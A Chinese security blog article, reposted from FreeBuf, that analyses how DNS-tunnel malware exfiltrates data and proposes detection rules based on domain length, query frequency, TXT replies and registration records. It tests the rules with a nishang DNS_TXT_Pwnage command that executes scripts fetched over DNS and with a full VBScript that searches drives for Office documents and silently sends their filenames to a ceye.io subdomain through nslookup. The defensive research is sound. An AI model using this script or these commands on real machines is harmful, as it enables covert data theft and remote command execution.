安全路透社
当前位置:安全路透社 > 网络转载 > 正文

一次误报引发的DNS检测方案的思考:DNS隧道检测平民解决方案

*本文作者:ChuanFile,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

随着dns隧道应用的越来越广泛,尤其是xshell事件被公布以后,各大公司纷纷启动对dns隧道的监控,参考xshell的逻辑,大多数公司采取了“监控多个终端请求异常长度域名”的检测方案,其中注重检出率的公司为了提高检出率(当然会提高误报率)进一步降低了多终端的数量,采取了“单个终端请求了异常长度的域名”的方案来发现所有疑似dns隧道木马。

笔者前阵子突然发现几台机器频繁解析诡的域名,如下:

DNS隧道检测平民解决方案

经过紧张的排查定位确认为浏览器的某插件导致,相关全域名存在注册记录,非dns隧道木马,为误报。大家都松了口气,但是也引起了反思,怎么才能更精准的发现真正的dns隧道木马?

大数据分析?够高大上!但落地成本高,复杂度也高,对于一般公司来说很难实施,为此笔者从dns隧道的原理和黑客的思路入手分析,提出一些简单的检测方案,仅供参考!

正文:

原理分析:

众所周知,dns隧道木马外传数据是利用1、过长的不存在的域名(其中随机数即为外传数据)2、txt回包作为回传数据(更新配置、模块等),详细分析这种利用开放53端口(可广义理解为漏洞)的传输方式的技术:

1、通用外传方式分析

a)    方式1:利用本机dns配置,发送域名请求,通过递归到达黑客控制的dns服务器(坏人需拥有或拿下dns服务                        器)

b)     方式2:更改本机dns配置,配置为8.8.8.8等公共dns,然后通过递归外传到达黑客控制的dns服务器

c)     方式3:直接构造dns包体,发送到8.8.8.8等公共dns,然后利用递归外传到达黑客控制的dns服务器

d)     方式4:直接构造dns包体,发送到本机dns服务器,然后利用递归外传到达黑客控制的dns服务器

e)     方式5:直接构造dns包体,发送到自己控制的dns服务器,直接获取数据

2、安全取证分析

a)     方式1:此方式走系统dns配置,无法获取哪个程序调用了dns请求,仅能看到系统svchost.exe进行了dns请求,但一旦发现异常可通过配置dns黑名单止损

b)     方式2:此方式走系统dns配置,无法获取哪个程序调用了dns请求,仅可获取dns配置被更改的日志,但无法获取谁更改的,仅能看到系统svchost.exe进行了dns请求,因公共服务不在公司控制范围,所有无法通过配置域名解析黑名单止损

c)     方式3:此方式可获取哪个进程发起了dns请求(xshell就是利用了此方案),同样,因公共服务不在公司控制范围,所有无法通过配置域名解析黑名单止损

d)     方式4:此方式可获取哪个进程发起了dns请求(xshell就是利用了此方案),但一旦发现异常可通过配置dns黑名单止损

e)     方式5:此方式可获取哪个进程发起了dns请求,但直接暴露黑客dns位置,可通过直接屏蔽恶意dns目的止损

3、恶意进程和黑dns服务器交互分析

a)     恶意进程仅用超长域名记录外传数据,不利用txt回包获取回传数据,不利用A记录回包作为C&C地址,纯窃取敏感信息的木马就是利用此方式,这行情况下:

i.          dns服务器无需提供解析服务,即dns服务器可以无回包

ii.          dns服务器如提供解析服务返回解析的ip地址,但本机进程也不关注,即本机进程不对解析结果发包(无socket通信)

b)     恶意进程用超长域名记录外传数据,利用txt回包获取回传数据,不利用A记录回包作为C&C地址,xshell就是利用此方式,这行情况下:

i.          dns服务器需提供解析服务,即dns服务器有txt回包,可能有A记录回包

ii.          dns服务器需提供解析服务,但本机进程也不关注,即本机进程不对解析结果发包(无socket通信)

c)     恶意进程用超长域名记录外传数据,利用txt回包获取回传数据,并利用A记录回包作为C&C地址,此方式不是纯dns隧道,不符合dns的隐蔽性,从dns隧道角度分析黑客理论上利用此方式几率极小,这行情况下:

i.          dns服务器需提供解析服务,即dns服务器有txt回包,可能有A记录回包

ii.          本机程序对解析出的A记录发起访问(有socket通信)

d)     恶意进程用超长域名记录外传数据,不利用txt回包获取回传数据,但利用A记录回包作为C&C地址,但此方式多为正常程序使用,不是纯dns隧道,不符合dns的隐蔽性,从dns隧道角度分析黑客理论上利用此方式几率极小,这行情况下:

i.          dns服务器需提供解析服务,即dns服务器有回包,但是A记录类型

ii.          本机进程对此A记录进行访问关注,即本机进程对解析结果地址发包

结论:

完成外传方式分析、取证分析、恶意进程和黑dns服务器交互分析等三部分的分析后,我们已完全掌握黑客的伎俩,接下来我们再深入分析下,首先,我们结合下黑客的心理,黑客利用dns隧道的目的是绕过防御(如禁止外联)、躲避流量检测(如snort特征码检测)、躲避ioc检测(如外联恶意ip、恶意域名)等,那黑客必然不会对dns相关(如解析出的ip)的ip进行额外的通信,如http、socket等,既是存在非dns通信也是通过txt回包获取c&c罢了,这样才可以充分利用dns的隐蔽性。其次我们从黑客入侵的目的出发,入侵的最终目的无非是为了窃取数据外传,窃取单个账号密码只是中间过程,最终还是为了窃取大量数据,那利用dns怎么外传大量数据呢,超长域名*频率就是外传的数据量,仅超长域名不排除在外传账号密码等少量新的可能性,但高频率就一定在大量外传了。第三从域名注册角度分析,dns必然涉及到域名问题,假设正在请求的超长域名已存在注册记录,那必然不是dns隧道方式,因注册记录是固定的,能承载的信息也就是固定的,一定不可能是外传的数据。

通过以上分析得出监控需要关注的几个要素:长域名、频率、txt类型、终端是否对解析ip发起访问、是否有全域名注册记录,推导检测逻辑如下: 

方向1:特征检测:

检测窃密木马(无需更新和接收指令):     【域名超长 or 频率高】  and 【终端无进程对返回的A记录(如有)发起访问】 and 【不存在全域名注册记录】

检测远控木马(需更新和接收指令):         【域名超长 or 频率高】  and 【终端无进程对返回的A记录(如有)发起访问】 and 【不存在全域名注册记录】 and 【存在txt回包】 

通用检测(可发现单次外传,存在浏览器预解析等误报,需结合其他特征确认):

{【存在txt回包】and 【不存在全域名注册记录】}  or  {【终端无进程对返回的A记录(如有)发起访问】  and 【不存在全域名注册记录】}

方向2:基于外传量检测,发现正在进行的大量数据泄露(不分析细节,仅供参考,本次实验不涉及):

单台机器检测:    域名长度(3+N级的域名) * 域名数量(相同只计算一个) > 单台机器阈值,评测外传数据大小,达到阈值则触发报警

群体事件检测:     A机器域名长度(3+N级的域名)* A机器域名数量(相同只计算一个)  + B +…  >   多台机器阈值,评测外传数据大小,达到阈值则触发报警

实验验证分析:

为验证此方案的逻辑正确性,笔者实验如下:

Xshell实验验证:

1、直接运行xshell,触发dns行为

2、外传结果抓包:

DNS隧道检测平民解决方案

3、检测逻辑匹配分析:

a)     外传域名超长

b)     频率较高

c)     类型为TXT,有回包

d)     无A记录解析结果,也就无程序对结果发起访问

e)     不存在全域名注册记录(黑客根据算法提前注册了部分域名,但全域名无注册信息)

结论:窃密木马+远控木马

Powershell dns实验验证:

1、利用powershell构造dns隧道

a)     编写一个最简单的一句话脚本,获取服务列表

DNS隧道检测平民解决方案

b)     使用nishang的Out-NnsTxt将脚本GetServiceToTxt.ps1转换为txt记录

DNS隧道检测平民解决方案

c)     在dns服务器建立对应txt记录(后续执行需按照1,2,3,4的顺序,所以建立记录名为1)

DNS隧道检测平民解决方案

DNS隧道检测平民解决方案

验证结果,ok

DNS隧道检测平民解决方案

d)     使用nishang的DNS_TXT_Pwnage读取txt并执行(脚本自动在test.com前加1,向1.test.com请求txt记录作为脚本执行。不过笔者最终也没搞懂stopstring这个参数的原理,懂的朋友麻烦私信下,谢谢! ),可正常获取服务列表。

命令和结果如下:

DNS_TXT_Pwnage -startdomainstartflag.test.com -cmdstring nostart -commanddomain  txt1.test.com -psstring startflag -psdomain test.com -Subdomains 1 -stopstring stopflag

DNS隧道检测平民解决方案

2、外传结果抓包:

使用Microsoft Network Monitor抓包分析

DNS隧道检测平民解决方案

3、检测逻辑匹配分析:

a)     因实验未将结果外传,所以域名长度不大,如dns隧道外传则必使用长域名

b)     因实验未将结果外传,所以频率不高,且只获取远端的get-server功能,频率也不高,但要实现外传和获取更多功能(如mimikatz等),则必然需要高频率

c)     类型为TXT,有回包

d)     无A记录解析结果,也就无程序对结果发起访问

e)     此实验场景未覆盖外传数据,所以不涉及注册问题

结论:远控木马(实验功能较单一,扩展为大马则可精确覆盖检测特征)

利用ceye.io的外传实验验证

1、 少量信息窃取和大量信息窃取

a)     单次少量信息窃取外传,简单利用windows命令(ping、nslookup等)即可窃取机器名

外传实验验证

b)    多次大量信息窃取,编写脚本,搜索文档(word、excel、ppt),并外传文件名(此脚本360 未报警),vbs脚本内容如下 ( 代码未充分验证,不保证无错误,中文支持或读文件内容请自行修改)

'On ErrorResume Next

Set fso =CreateObject("Scripting.FileSystemObject")

toolsName=Array(".docx",".doc",".xls",".xlsx",".ppt",".pptx")

'ConstDRIVE_LETTERS="C:D:E:F:G:H:I:J:K:L:M:N:O:P:Q:R:S:T:U:V:W:X:Y:Z"

ConstDRIVE_LETTERS="o"

''''''''''''开始搜索

CallScanDrives()                      

''''''''''''''''''''

SubScanDrives()

    Dim drives

    drives=Split(DRIVE_LETTERS,":")

    For Each drv In drives

        If fso.DriveExists(drv) Then

            Set drive=fso.GetDrive(drv)

            If drive.isReady Then

                CallScanFiles(drive.RootFolder)

            End If

        End If

    Next

End Sub

''''''''''''

SubScanFiles(folder)

    For Each this_file In folder.Files

        On Error Resume Next

        Call FindKeyFile(this_file)

        WScript.Sleep 1

    Next

    For Each this_folder In folder.SubFolders

        On Error Resume Next

        Call ScanFiles(this_folder)

        WScript.Sleep 1

    Next   

End Sub

'''''''''''查找特定文件

SubFindKeyFile(file)

   On Error Resume Next

   For Each tool_name In toolsName

        'WScript.Echo

        ''''将文件名都转为大写匹配

        IfInStr(UCase(file.name),UCase(tool_name)) <>0 Then

            DnsStr= file.name &".xxxxxxx.ceye.io"

        ''''进行静默nslookup上传   

                     setobjShell=wscript.createObject("wscript.shell")

                     objShell.exec("%comspec% /c nslookup " & DnsStr)

            End If

    Next

End Sub

2、外传结果展示:

a)     单次少量信息窃取外传

DNS隧道检测平民解决方案

b)     多次大量信息窃取

DNS隧道检测平民解决方案

3、检测逻辑匹配分析:

a)     利用A记录外传,非txt回包,长度不超长(实验原因,未充分利用域名长度),但频率较高,解析过程未发现异常(但此截图为8.8.8.8,非系统dns存在一定风险)

DNS隧道检测平民解决方案

b)     对解析A记录结果无后续访问

DNS隧道检测平民解决方案

c)     不存在全域名注册记录

结论:窃取数据木马

*本文作者:ChuanFile,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

未经允许不得转载:安全路透社 » 一次误报引发的DNS检测方案的思考:DNS隧道检测平民解决方案

赞 (0)
分享到:更多 ()

评论 0

评论前必须登录!

登陆 注册